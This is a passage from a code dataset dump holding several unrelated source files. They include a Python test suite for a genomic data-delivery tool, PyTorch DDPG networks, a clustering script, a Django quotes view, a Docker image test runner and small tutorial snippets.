'run1_el_s%s_id2',\n                'clean_reads': 15,\n                'run_id': 'run1',\n                'project_id': 'project1',\n                'lane': 2,\n                'useable': 'yes'\n            }\n        ]\n    },\n    'process_id2': {\n        'name': 'p2sample%s',\n        'samples': {\n            'project_id': 'project2',\n            'user_sample_id': 'p2_user_s_id%s',\n            'species_name': 'Homo sapiens',\n            'useable': 'yes',\n            'required_yield': 120000000000,\n            'required_coverage': 30,\n            'aggregated': {\n                'clean_reads': 39024000,\n                'yield_in_gb': 127,\n                'yield_q30_in_gb': 102,\n                'pc_q30': 85.2,\n                'pc_mapped_reads': 99.1,\n                'pc_duplicate_reads': 16.4,\n            },\n            'coverage': {'mean': 35},\n        },\n        'lims/samples': {\n            '2D Barcode': 'Fluidx%s',\n            'Delivery': 'split',\n            'Total DNA(ng)': 2000\n        },\n        'lims/status/sample_status': {\n            'library_type': 'nano',\n            'started_date': '2017-08-02T11:25:14.659000'\n        },\n        'run_elements': [\n            {\n                'run_element_id': 'run1_el_s%s_id3',\n                'clean_reads': 15,\n                'run_id': 'run1',\n                'project_id': 'project2',\n                'lane': 3,\n                'useable': 'yes'\n            },\n            {\n                'run_element_id': 'run1_el_s%s_id4',\n                'clean_reads': 15,\n                'run_id': 'run1',\n                'project_id': 'project1',\n                'lane': 4,\n                'useable': 'yes'\n            }\n        ]\n    }\n}\n\n\ndef _get_value(value_template, index):\n    \"\"\"\n    Take a template and complete it with the index if the template contains %s.\n    If the template is an iterable (but not a string or dict) then it takes the next one and complete the template.\n    \"\"\"\n    if not (type(value_template) in [str, dict]) and isinstance(value_template, collections.Iterable):\n        value_template = next(value_template)\n    if isinstance(value_template, str) and '%s' in value_template:\n        return value_template % index\n    else:\n        return value_template\n\n\nrest_responses = {'samples': {}, 'lims/samples': {}, 'lims/status/sample_status': {}, 'run_elements': {}}\nfake_processes = {}\nfor process in sample_templates:\n    artifacts = []\n    for i in range(1, sample_templates[process].get('nb_sample', 2) + 1):\n        sample_id = sample_templates[process]['name'] % i\n        if i not in sample_templates[process].get('already_delivered_samples', []):\n            artifacts.append(Mock(samples=[NamedMock(name=sample_id)]))\n\n        for endpoint in ('samples', 'lims/samples', 'lims/status/sample_status'):\n            rest_responses[endpoint][sample_id] = dict([\n                (k, _get_value(v, i)) for k, v in sample_templates[process].get(endpoint, {}).items()\n            ])\n            rest_responses[endpoint][sample_id]['sample_id'] = sample_id\n        rest_responses['run_elements'][sample_id] = []\n        for re_template in sample_templates[process].get('run_elements', []):\n            re = dict((k, _get_value(v, i)) for k, v in re_template.items())\n            re['sample_id'] = sample_id\n            rest_responses['run_elements'][sample_id].append(re)\n\n    fake_processes[process] = Mock(\n        type=NamedMock(name=d.release_trigger_lims_step_name),\n        all_inputs=Mock(return_value=artifacts)\n    )\n\n\ndef fake_get_document(*args, **kwargs):\n    match = kwargs.get('where') or kwargs['match']\n    if 'sample_id' in match:\n        return rest_responses.get(args[0], {}).get(match['sample_id'])\n    if 'project_id' in match:\n        return [rr for rr in rest_responses.get(args[0], {}).values() if rr['project_id'] == match['project_id']]\n\n\npatch_get_document = patch('egcg_core.rest_communication.get_document', side_effect=fake_get_document)\npatch_get_documents = patch('egcg_core.rest_communication.get_documents', side_effect=fake_get_document)\npatch_get_queue = patch('egcg_core.clarity.get_queue_uri', return_value='http://testclarity.com/queue/999')\n\n\nclass FakeProcessPropertyMock(PropertyMock):\n    \"\"\"PropertyMock specifically to return fake processes.\"\"\"\n    def __get__(self, obj, obj_type):\n        return fake_processes.get(obj.process_id)\n\n\npatch_process = patch.object(d.DataDelivery, 'process', new=FakeProcessPropertyMock())\n\n\ndef touch(f, content=None):\n    with open(f, 'w') as open_file:\n        if content:\n            open_file.write(content)\n\n\ndef create_fake_fastq_fastqc_md5_from_commands(instance):\n    \"\"\"\n    This function replaces run_aggregate_commands and take an instance of DataDelivery.\n    It will create the output as if the command were run.\n    It only supports fastqc and command that redirects there outputs\n    \"\"\"\n    for commands in instance.all_commands_for_cluster:\n        for command in commands.split(';'):\n            if len(command.split('>')) > 1:\n                output = command.split('>')[1].strip()\n                if output.endswith('.md5'):\n                    touch(output, 'd41d8cd98f00b204e9800998ecf8427e  ' + os.path.basename(output))\n                else:\n                    touch(output)\n            elif command.strip().startswith('fastqc'):\n                touch(command.split()[-1].split('.fastq')[0] + '_fastqc.zip')\n                touch(command.split()[-1].split('.fastq')[0] + '_fastqc.html')\n\n\nclass TestDataDelivery(TestProjectManagement):\n    config_file = 'example_data_delivery.yaml'\n    assets_delivery = os.path.join(TestProjectManagement.assets_path, 'data_delivery')\n    analysis_exts = ['.bam', '.bam.bai', '.bam.bai.md5', '.bam.md5', '.g.vcf.gz', '.g.vcf.gz.md5', '.g.vcf.gz.tbi',\n                     '.g.vcf.gz.tbi.md5', '.vcf.gz', '.vcf.gz.md5', '.vcf.gz.tbi', '.vcf.gz.tbi.md5']\n    raw_data_exts = ['_R1.fastq.gz', '_R1.fastq.gz.md5', '_R1_fastqc.html', '_R1_fastqc.zip', '_R2.fastq.gz',\n                     '_R2.fastq.gz.md5', '_R2_fastqc.html', '_R2_fastqc.zip']\n    final_files_split = ['p2_user_s_id1' + ext for ext in analysis_exts] + ['raw_data']\n    final_files_merged = ['p1_user_s_id1' + ext for ext in analysis_exts + raw_data_exts]\n    final_files_merged2 = ['p1_user_s_id2' + ext for ext in analysis_exts + raw_data_exts]\n    final_files_merged_no_raw = ['p1_user_s_id1' + ext for ext in analysis_exts]\n\n    @classmethod\n    def setUpClass(cls):\n        super().setUpClass()\n        cls.dest_dir = cfg['delivery']['dest']\n\n    def setUp(self):\n        os.makedirs(self.dest_dir, exist_ok=True)\n        staging_dir = os.path.join(self.assets_delivery, 'staging')\n        self.delivery_dry_split_fluidx = d.DataDelivery(dry_run=True, work_dir=staging_dir, process_id='process_id2', no_cleanup=True, email=False)\n        self.delivery_real_split_fluidx = d.DataDelivery(dry_run=False, work_dir=staging_dir, process_id='process_id2', email=False)\n        self.delivery_dry_merged = d.DataDelivery(dry_run=True, work_dir=staging_dir, process_id='process_id1', no_cleanup=True, email=False)\n        self.delivery_real_merged = d.DataDelivery(dry_run=False, work_dir=staging_dir, process_id='process_id1', email=False)\n\n        self._create_run_elements(itertools.chain.from_iterable(rest_responses['run_elements'].values()))\n        self._create_analysed_sample_files(rest_responses['samples'].values())\n\n    def tearDown(self):\n        for directory in [self.delivery_dry_split_fluidx.staging_dir, self.delivery_dry_merged.staging_dir]:\n            if os.path.exists(directory):\n                shutil.rmtree(directory)\n\n        for directory in [\n            self.dest_dir,\n            os.path.join(self.assets_delivery, 'source'),\n            os.path.join(self.assets_delivery, 'runs')\n        ]:\n            for d in os.listdir(directory):\n                shutil.rmtree(os.path.join(directory, d))\n\n    def _create_run_elements(self, list_run_elements):\n        for e in list_run_elements:\n            sample_dir = os.path.join(self.assets_delivery, 'runs', e['run_id'], e['project_id'], e['sample_id'])\n            os.makedirs(sample_dir, exist_ok=True)\n            for t in [\n                'S1_L00%s_R1.fastq.gz', 'S1_L00%s_R2.fastq.gz',\n                'S1_L00%s_R1_fastqc.html', 'S1_L00%s_R2_fastqc.html',\n                'S1_L00%s_R1_fastqc.zip', 'S1_L00%s_R2_fastqc.zip'\n            ]:\n                open(os.path.join(sample_dir, t % e['lane']), 'w').close()\n                self.md5(os.path.join(sample_dir, t % e['lane']))\n\n    def _create_analysed_sample_files(self, list_samples):\n        for s in list_samples:\n            sample_dir = os.path.join(self.assets_delivery, 'source', s['project_id'], s['sample_id'])\n            os.makedirs(sample_dir, exist_ok=True)\n            for t in ['%s.bam', '%s.bam.bai', '%s.g.vcf.gz', '%s.g.vcf.gz.tbi', '%s.vcf.gz', '%s.vcf.gz.tbi']:\n                f = os.path.join(sample_dir, t % s['user_sample_id'])\n                open(f, 'w').close()\n                self.md5(f)\n\n    def test_mark_samples_as_released(self):\n        delivered_date = datetime.datetime(2018, 1, 10)\n        with patch('bin.deliver_reviewed_data._now', return_value=delivered_date), \\\n                patch('egcg_core.rest_communication.patch_entry') as mpatch, \\\n                patch('egcg_core.clarity.route_samples_to_workflow_stage') as mroute:\n            self.delivery_real_merged.samples2files = {\n                'p1sample1': [{'file_path': 'path to file1'}],\n                'p1sample2': [{'file_path': 'path to file2'}],\n            }\n            self.delivery_real_merged.mark_samples_as_released(['p1sample1', 'p1sample2'])\n            mpatch.assert_any_call(\n                'samples', element_id='p1sample1', id_field='sample_id',\n                payload={\n                    'delivered': 'yes',\n                    'files_delivered': [{'file_path': 'path to file1'}],\n                    'delivery_date': delivered_date\n                },\n                update_lists=['files_delivered']\n            )\n            mpatch.assert_called_with(\n                'samples', element_id='p1sample2', id_field='sample_id',\n                payload={\n                    'delivered': 'yes',\n                    'files_delivered': [{'file_path': 'path to file2'}],\n                    'delivery_date': delivered_date\n                },\n                update_lists=['files_delivered']\n            )\n            mroute.assert_called_with(\n                ['p1sample1', 'p1sample2'],\n                'Data Release workflow',\n                stage_name='Data Release stage'\n            )\n\n    def test_deliverable_samples(self):\n        with patch_process, patch_get_document, patch_get_documents:\n            project_to_samples = self.delivery_dry_merged.deliverable_samples\n            assert list(project_to_samples) == ['project1']\n            assert [sample['sample_id'] for samples in project_to_samples.values() for sample in samples] == ['p1sample1', 'p1sample2']\n\n    def test_summarise_metrics_per_sample(self):\n        with patch_process, patch_get_document, patch_get_documents:\n            _ = self.delivery_dry_merged.deliverable_samples\n            expected_header = ['Project', 'Sample Id', 'User sample id', 'Species', 'Library type', 'Received date',\n                               'DNA QC (ng)', 'Number of Read pair', 'Target Yield', 'Yield', 'Yield Q30', '%Q30',\n                               'Mapped reads rate', 'Duplicate rate', 'Target Coverage', 'Mean coverage',\n                               'Delivery folder']\n\n            expected_lines = [\n                'project1\\tp1sample1\\tp1_user_s_id1\\tHomo sapiens\\tTruSeq PCR-Free\\t2017-08-02\\t2000\\t39024000\\t'\n                '120.0\\t127\\t102\\t85.2\\t99.1\\t16.4\\t30\\t35\\tdate_delivery',\n                'project1\\tp1sample2\\tp1_user_s_id2\\tHomo sapiens\\tTruSeq PCR-Free\\t2017-08-02\\t2000\\t39024000\\t'\n                '120.0\\t127\\t102\\t85.2\\t99.1\\t16.4\\t30\\t35\\tdate_delivery'\n            ]\n            header, lines = self.delivery_dry_merged.summarise_metrics_per_sample(\n                project_id='project1',\n                delivery_folder='date_delivery'\n            )\n            assert header == expected_header\n            assert sorted(lines) == sorted(expected_lines)\n\n    def test_overwrite_metrics_file(self):\n        os.makedirs(os.path.join(self.dest_dir, 'project1'), exist_ok=True)\n        metrics_lines = [\n            'Project\\tSample Id\\tUser sample id\\tSpecies\\tLibrary type\\tReceived date\\tDNA QC (ng)\\t'\n            'Number of Read pair\\tTarget Yield\\tYield\\tYield Q30\\t%Q30\\tMapped reads rate\\tDuplicate rate\\t'\n            'Target Coverage\\tMean coverage\\tDelivery folder',\n            'project1\\tp1sample3\\tp1_user_s_id1\\tHomo sapiens\\tTruSeq PCR-Free\\t2017-08-02\\t2000\\t39024000\\t'\n            '120.0\\t127\\t102\\t85.2\\t99.1\\t16.4\\t30\\t35\\tdate_delivery1',\n            'project1\\tp1sample4\\tp1_user_s_id2\\tHomo sapiens\\tTruSeq PCR-Free\\t2017-08-02\\t2000\\t39024000\\t'\n            '120.0\\t127\\t102\\t85.2\\t99.1\\t16.4\\t30\\t35\\tdate_delivery1'\n        ]\n        summary_file = os.path.join(self.dest_dir, 'project1', 'summary_metrics.csv')\n        with open(summary_file, 'w') as open_file:\n            open_file.write('\\n'.join(metrics_lines))\n\n        with patch_process, patch_get_document, patch_get_documents:\n            _ = self.delivery_dry_merged.deliverable_samples\n            self.delivery_dry_merged.write_metrics_file(\n                project='project1',\n                delivery_folder='date_delivery2'\n            )\n        with open(summary_file, 'r') as open_file:\n            lines = open_file.readlines()\n            assert len(lines) == 5\n            assert lines[1].endswith('date_delivery1\\n')\n            assert lines[2].endswith('date_delivery1\\n')\n            assert lines[3].endswith('date_delivery2\\n')\n            assert lines[4].endswith('date_delivery2\\n')\n\n    def test_overwrite_old_metrics_file(self):\n        os.makedirs(os.path.join(self.dest_dir, 'project1'), exist_ok=True)\n        metrics_lines = [\n            'Project\\tSample Id\\tUser sample id\\tRead pair sequenced\\tYield\\tYield Q30\\tNb reads in bam\\t'\n            'mapping rate\\tproperly mapped reads rate\\tduplicate rate\\tMean coverage\\tDelivery folder',\n            'project1\\tp1sample3\\tp1_user_s_id1\\t39024000\\t127\\t102\\t39823000\\t99.1\\t92.3\\t16.4\\t35\\tdate_delivery1',\n            'project1\\tp1sample4\\tp1_user_s_id2\\t39024000\\t127\\t102\\t39823000\\t99.1\\t92.3\\t16.4\\t35\\tdate_delivery1'\n        ]\n        summary_file = os.path.join(self.dest_dir, 'project1', 'summary_metrics.csv')\n        with open(summary_file, 'w') as open_file:\n            open_file.write('\\n'.join(metrics_lines))\n\n        with patch_process, patch_get_document, patch_get_documents:\n            _ = self.delivery_dry_merged.deliverable_samples\n            self.delivery_dry_merged.write_metrics_file(\n                project='project1',\n                delivery_folder='date_delivery2'\n            )\n        with open(summary_file, 'r') as open_file:\n            lines = open_file.readlines()\n            assert len(lines) == 5\n            assert lines[1].endswith('date_delivery1\\n')\n            assert lines[2].endswith('date_delivery1\\n')\n            assert lines[3].endswith('date_delivery2\\n')\n            assert lines[4].endswith('date_delivery2\\n')\n\n    def test_deliver_data_merged(self):\n        with patch_process, patch_get_document, patch_get_documents, patch_get_queue:\n            # Remove one of the run_element from rest response so the remaining one gets used as merged\n            re = rest_responses['run_elements']['p1sample1'].pop()\n            self.delivery_dry_merged.deliver_data()\n            assert sorted(os.listdir(self.delivery_dry_merged.staging_dir)) == ['p1sample1', 'p1sample2']\n            list_files = sorted(os.listdir(os.path.join(self.delivery_dry_merged.staging_dir, 'p1sample1')))\n            assert list_files == sorted(self.final_files_merged)\n            # Put it back\n            rest_responses['run_elements']['p1sample1'].append(re)\n\n    def test_deliver_data_merged_concat(self):\n        with patch_process, patch_get_document, patch_get_documents, patch_get_queue:\n            self.delivery_dry_merged.deliver_data()\n            assert sorted(os.listdir(self.delivery_dry_merged.staging_dir)) == ['p1sample1', 'p1sample2']\n            list_files = sorted(os.listdir(os.path.join(self.delivery_dry_merged.staging_dir, 'p1sample1')))\n            assert list_files == sorted(self.final_files_merged_no_raw)\n            assert len(self.delivery_dry_merged.all_commands_for_cluster) == 4\n\n    def test_deliver_data_split(self):\n        with patch_process, patch_get_document, patch_get_documents, patch_get_queue:\n            self.delivery_dry_split_fluidx.deliver_data()\n            assert sorted(os.listdir(self.delivery_dry_split_fluidx.staging_dir)) == ['Fluidx1', 'Fluidx2']\n            list_files = os.listdir(os.path.join(self.delivery_dry_split_fluidx.staging_dir, 'Fluidx1'))\n            assert sorted(list_files) == sorted(self.final_files_split)\n\n    def test_deliver_data_merged_real(self):\n        with patch_process, patch_get_document, patch_get_documents, patch_get_queue,\\\n             patch('bin.deliver_reviewed_data.DataDelivery.mark_samples_as_released'), \\\n             patch.object(d.DataDelivery, 'run_aggregate_commands', new=create_fake_fastq_fastqc_md5_from_commands), \\\n             patch.object(d.DataDelivery, 'register_postponed_files'):\n            self.delivery_real_merged.deliver_data()\n            assert os.listdir(self.dest_dir) == ['project1']\n            today = datetime.date.today().isoformat()\n            assert sorted(os.listdir(os.path.join(self.dest_dir, 'project1'))) == [today, 'all_md5sums.txt', 'summary_metrics.csv']\n            assert sorted(os.listdir(os.path.join(self.dest_dir, 'project1', today))) == ['p1sample1', 'p1sample2']\n            assert sorted(self.final_files_merged2) == sorted(os.listdir(os.path.join(self.dest_dir, 'project1', today, 'p1sample2')))\n\n            assert self.delivery_real_merged.samples2files['p1sample2'] == [\n                {\n                    'file_path': 'project1/%s/p1sample2/%s' % (today, f),\n                    'size': 0,\n                    'md5': 'd41d8cd98f00b204e9800998ecf8427e'\n                }\n                for f in ('p1_user_s_id2.g.vcf.gz', 'p1_user_s_id2.g.vcf.gz.tbi', 'p1_user_s_id2.vcf.gz',\n                          'p1_user_s_id2.vcf.gz.tbi', 'p1_user_s_id2.bam', 'p1_user_s_id2.bam.bai')\n            ]\n\n    def test_deliver_data_split_real(self):\n        with patch_process, patch_get_document, patch_get_documents, patch_get_queue,\\\n             patch.object(d.DataDelivery, 'run_aggregate_commands'),\\\n             patch('bin.deliver_reviewed_data.DataDelivery.mark_samples_as_released'):\n            self.delivery_real_split_fluidx.deliver_data()\n            assert os.listdir(self.dest_dir) == ['project2']\n            today = datetime.date.today().isoformat()\n            assert sorted(os.listdir(os.path.join(self.dest_dir, 'project2'))) == [today, 'all_md5sums.txt', 'summary_metrics.csv']\n            assert sorted(os.listdir(os.path.join(self.dest_dir, 'project2', today))) == ['Fluidx1', 'Fluidx2']\n            assert sorted(os.listdir(os.path.join(self.dest_dir, 'project2', today, 'Fluidx1'))) == sorted(self.final_files_split)\n\n            assert sorted(\n                self.delivery_real_split_fluidx.samples2files['p2sample1'],\n                key=operator.itemgetter('file_path')\n            ) == [\n                {\n                    'file_path': 'project2/%s/Fluidx1/%s' % (today, f),\n                    'size': 0,\n                    'md5': 'd41d8cd98f00b204e9800998ecf8427e'\n                }\n                for f in ['p2_user_s_id1.bam', 'p2_user_s_id1.bam.bai', 'p2_user_s_id1.g.vcf.gz',\n                          'p2_user_s_id1.g.vcf.gz.tbi', 'p2_user_s_id1.vcf.gz', 'p2_user_s_id1.vcf.gz.tbi',\n                          'raw_data/run1_el_s1_id3_R1.fastq.gz', 'raw_data/run1_el_s1_id3_R2.fastq.gz',\n                          'raw_data/run1_el_s1_id4_R1.fastq.gz', 'raw_data/run1_el_s1_id4_R2.fastq.gz']\n\n            ]\n\n    def test_get_email_data(self):\n        with patch_process, patch_get_document, patch_get_documents, patch_get_queue,\\\n             patch.object(d.DataDelivery, 'today', new_callable=PropertyMock(return_value='2017-12-15')):\n            exp = {\n                'num_samples': 2,\n                'release_batch': '2017-12-15',\n                'delivery_queue': 'http://testclarity.com/queue/999',\n                'project_id': 'test_project'\n            }\n            assert exp == self.delivery_dry_merged.get_email_data('test_project', ['sample1', 'sample2'])\n\n    def test_send_reports(self):\n        with patch_process, patch_get_document, patch_get_documents, patch_get_queue,\\\n             patch('egcg_core.notifications.email.EmailSender._try_send') as mock_send_email:\n            self.delivery_dry_merged.email = True\n            _ = self.delivery_dry_merged.deliverable_samples\n            self.delivery_dry_merged.send_reports(\n                {'project1': [rest_responses['samples']['p1sample1'], rest_responses['samples']['p1sample2']]},\n                {'test_project': os.path.join(self.assets_path, 'data_delivery', 'test_project_report.pdf')}\n            )\n            assert mock_send_email.call_count == 1\n            assert type(mock_send_email.call_args_list[0][0][0]) == MIMEMultipart\n\n    def test_resolve_process_id(self):\n        assert d.resolve_process_id('http://test.com/path/to/step/20198') == '24-20198'\n        assert d.resolve_process_id('http://test.com/api/2/steps/24-20198') == '24-20198'\n        assert d.resolve_process_id('20198') == '24-20198'\n        assert d.resolve_process_id('24-20198') == '24-20198'\n","sub_path":"tests/test_data_delivery.py","file_name":"test_data_delivery.py","file_ext":"py","file_size_in_byte":23486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"256107170","text":"import copy\nimport numpy as np\nimport random\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\ndef hidden_init(layer):\n    fan_in = layer.weight.data.size()[0]\n    lim = 1. / np.sqrt(fan_in)\n    return (-lim, lim)\n\nclass Actor(nn.Module):\n\n    def __init__(self, state_size, action_size):\n        super(Actor, self).__init__()\n        self.seed = torch.manual_seed(seed=0)\n        self.fc1 = nn.Linear(state_size, 1024)\n        self.fc2 = nn.Linear(1024, 1024)\n        self.fc3 = nn.Linear(1024, 512)\n        self.fc4 = nn.Linear(512, 128)\n        self.fc5 = nn.Linear(128, action_size)\n        self.reset_parameters()\n        self.to(device)\n\n\n    def reset_parameters(self):\n        self.fc1.weight.data.uniform_(*hidden_init(self.fc1))\n        self.fc2.weight.data.uniform_(*hidden_init(self.fc2))\n        self.fc3.weight.data.uniform_(*hidden_init(self.fc3))\n        self.fc4.weight.data.uniform_(*hidden_init(self.fc4))\n        self.fc5.weight.data.uniform_(-3e-3, 3e-3)\n\n    def forward(self, state):\n        x = F.leaky_relu(self.fc1(state))\n        x = F.leaky_relu(self.fc2(x))\n        x = F.leaky_relu(self.fc3(x))\n        x = F.leaky_relu(self.fc4(x))\n        return F.tanh(self.fc5(x))\n\n\nclass Critic(nn.Module):\n\n    def __init__(self, state_size, action_size):\n        super(Critic, self).__init__()\n        self.seed = torch.manual_seed(seed=0)\n        self.fcs1 = nn.Linear(state_size, 1024)\n        self.fc2 = nn.Linear(1024 + action_size, 1024)\n        self.fc3 = nn.Linear(1024, 1024)\n        self.fc4 = nn.Linear(1024, 512)\n        self.fc5 = nn.Linear(512, 1)\n        self.reset_parameters()\n        self.to(device)\n\n    def reset_parameters(self):\n        self.fcs1.weight.data.uniform_(*hidden_init(self.fcs1))\n        self.fc2.weight.data.uniform_(*hidden_init(self.fc2))\n        self.fc3.weight.data.uniform_(*hidden_init(self.fc3))\n        self.fc4.weight.data.uniform_(*hidden_init(self.fc4))\n        self.fc5.weight.data.uniform_(-3e-3, 3e-3)\n\n    def forward(self, state, action):\n        xs = F.leaky_relu(self.fcs1(state))\n        x = torch.cat((xs, action), dim=1)\n        x = F.leaky_relu(self.fc2(x))\n        x = F.leaky_relu(self.fc3(x))\n        x = F.leaky_relu(self.fc4(x))\n        return self.fc5(x)\n\n\nclass OUNoise:\n    \"\"\"Ornstein-Uhlenbeck process.\"\"\"\n\n    def __init__(self, size, mu=0., theta=0.7, sigma=0.1):\n        \"\"\"Initialize parameters and noise process.\"\"\"\n        self.mu = mu * np.ones(size)\n        self.theta = theta\n        self.sigma = sigma\n        self.reset()\n\n    def reset(self):\n        \"\"\"Reset the internal state (= noise) to mean (mu).\"\"\"\n        self.state = copy.copy(self.mu)\n\n    def sample(self):\n        \"\"\"Update internal state and return it as a noise sample.\"\"\"\n        x = self.state\n        dx = self.theta * (self.mu - x) + self.sigma * np.array([random.random() for i in range(len(x))])\n        self.state = x + dx\n        return self.state","sub_path":"ddpg_nets.py","file_name":"ddpg_nets.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"47849785","text":"# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.cluster import KMeans\n\n# Importing the dataset\ndataset = pd.read_csv(\n        '~\\\\BOW_title_1000.tsv'\n        , sep = '\\t'\n        , encoding='utf-8'\n        )\nX = dataset.iloc[:, 11:263].values\n####################################################\n# Kmeans\n# Using the elbow method to find the optimal number of clusters\nwcss = []\nfor i in range(1, 20):\n    kmeans = KMeans(n_clusters = i, init = 'k-means++', random_state = 42)\n    kmeans.fit(X)\n    wcss.append(kmeans.inertia_)\nplt.plot(range(1, 20), wcss)\nplt.title('The Elbow Method')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show()\n\n# Fitting K-Means to the dataset\nkmeans = KMeans(n_clusters = 12, init = 'k-means++', random_state = 42)\ny_data = kmeans.fit_predict(X)\n####################################################\n# HC\n# Using the dendrogram to find the optimal number of clusters\nimport scipy.cluster.hierarchy as sch\ndendrogram = sch.dendrogram(sch.linkage(X, method = 'ward'))\nplt.title('Dendrogram')\nplt.xlabel('BOW')\nplt.ylabel('Euclidean distances')\nplt.show()\n\n# Fitting Hierarchical Clustering to the dataset\nfrom sklearn.cluster import AgglomerativeClustering\nhc = AgglomerativeClustering(n_clusters = 8, affinity = 'euclidean', linkage = 'ward')\ny_data = hc.fit_predict(X)\n####################################################\n# Add clusters to initial dataset\nclusters = np.asarray(y_data)\ndataset['cluster'] = clusters\namazonjobs_df = dataset.iloc[:, 1:11]\namazonjobs_df['cluster'] = clusters\n\n# Export results to tsv\nimport os\namazonjobs_df.to_csv('Results_.tsv', sep='\\t', encoding='utf-8')\nprint('>>>>>> Result exported: ' + f'{os.getcwd()}\\Results_.tsv')\n","sub_path":"clustering_kmeans _hc.py","file_name":"clustering_kmeans _hc.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"133685452","text":"import sqlite3\r\n\r\nconn = sqlite3.connect('example.db')\r\nc = conn.cursor()\r\n\r\nc.execute('CREATE TABLE user (name text, email text)')\r\n\r\nc.execute(\"INSERT INTO user VALUES ('Mike', 'mike@mike.com')\")\r\n\r\nconn.commit()\r\nconn.close()","sub_path":"sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"566526485","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nimport json\n\n# Function will build the json response based on the data provided\ndef build_res(stat, mess, data=None):\n   res = {\"quotes\": data, \"status\": stat, \"message\": mess}\n\n   return JsonResponse(res, content_type=\"application/json\")\n\n# Quotes route will respond with the quotes provided in the quotes.json file\ndef quotes(request):\n   fs = None\n   data = None\n   str = None\n\n   # Attempt to open the file\n   try:\n      fs = open('/Users/kgluce/Documents/git/punny-foie-gras/quotes.json')\n   except:\n      return build_res(False, \"Error: Couldn't open quotes.json\")\n\n   # Attempt to read the file\n   try:\n      str = fs.read()\n   except:\n      fs.close()\n      return build_res(False, \"Error: Couldn't read the quotes.json\")\n   fs.close()\n\n   # Attempt to convert JSON string to python objects\n   try:\n      data = json.loads(str)[\"quotes\"]\n   except:\n      return build_res(False, \"Error: Malformed JSON string\")\n\n   # Made it! Return the correct data/status\n   return build_res(True, \"Success: Loaded JSON data\", data=data)\n\n","sub_path":"punnyBackend/quotes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"340229428","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nfrom subprocess import check_call\nimport sys\nimport os\nimport logging\nimport yaml\nimport click\nimport click_log\nfrom .utils import (\n    assert_image_tag_from_dockerfile,\n    find_matrix_from_dockerfile,\n    gen_version_target_from_tag\n)\n\nlogger = logging.getLogger(__name__)\n\n\n@click.command()\n@click.argument('dockerfile')\n@click_log.simple_verbosity_option()\n@click_log.init(__name__)\ndef test(dockerfile):\n    image_tag = assert_image_tag_from_dockerfile(logger, dockerfile)\n    matrix_yml_path = find_matrix_from_dockerfile(dockerfile)\n    project_dir = os.path.dirname(matrix_yml_path)\n\n    if not os.path.exists(matrix_yml_path):\n        logger.error('matrix.yml not found in project dir: %s', project_dir)\n        sys.exit(1)\n\n    # switch to project dir where matrix.yml is located, we assume test files\n    # are located relative matrix.yml\n    os.chdir(project_dir)\n\n    with open(matrix_yml_path) as matrix_fobj:\n        matrix = yaml.load(matrix_fobj)\n\n    version, target = gen_version_target_from_tag(image_tag)\n    if version not in matrix:\n        logger.error('version %s not found in matrix.', version)\n        sys.exit(1)\n\n    version_cfg = matrix[version]\n    if target not in version_cfg:\n        logger.error('taget %s not found in version %s', target, version)\n        sys.exit(1)\n\n    target_cfg = version_cfg[target]\n    test_script = target_cfg.get('_test')\n    if not test_script:\n        logger.info('No test found for image %s, skipped.', dockerfile)\n        sys.exit(0)\n\n    test_script = os.path.abspath(test_script)\n    if not os.path.exists(test_script):\n        logger.info('Defined test script (%s) not found for image %s.',\n                    test_script, image_tag)\n        sys.exit(1)\n\n    logger.info('--------------------------------------------')\n    logger.info('[*] Testing image %s with script %s...',\n                image_tag, test_script)\n    logger.info('--------------------------------------------')\n\n    # Spin up a docker container to test the given image. Here, we mount the\n    # directory where the test files live into /build_test path inside the\n    # container (-v) so the container has access to all test files\n    cmds = ['docker', 'run',\n            '-v', '%s:/build_test' % os.path.dirname(test_script),\n            image_tag,\n            'bash', '-c',\n            'cd /build_test && bash %s' % os.path.basename(test_script)]\n    logger.debug('running test docker command: %s', cmds)\n    check_call(cmds)\n","sub_path":"floydker/src/floydker/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"507255538","text":"# -*- coding:utf-8 -*-\n# @Desc:\n# @Author: Administrator\n# @Date: 2018-04-29 11:46\n\n# while循环的格式:\n# while 条件:\n#     条件满足时,做的事情1...\n#     条件满足时,做的事情2...\n#     条件满足时,做的事情3...\n\n### 练习:计算1-100的累积和\nnum = 1\nsum = 0\nwhile num <= 100 :\n    sum += num\n    num += 1\nprint(\"1-100的累积和: %d\"%sum)\n\n\n","sub_path":"01.PythonDoc/02.控制流程语句/02.while循环的用法.py","file_name":"02.while循环的用法.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
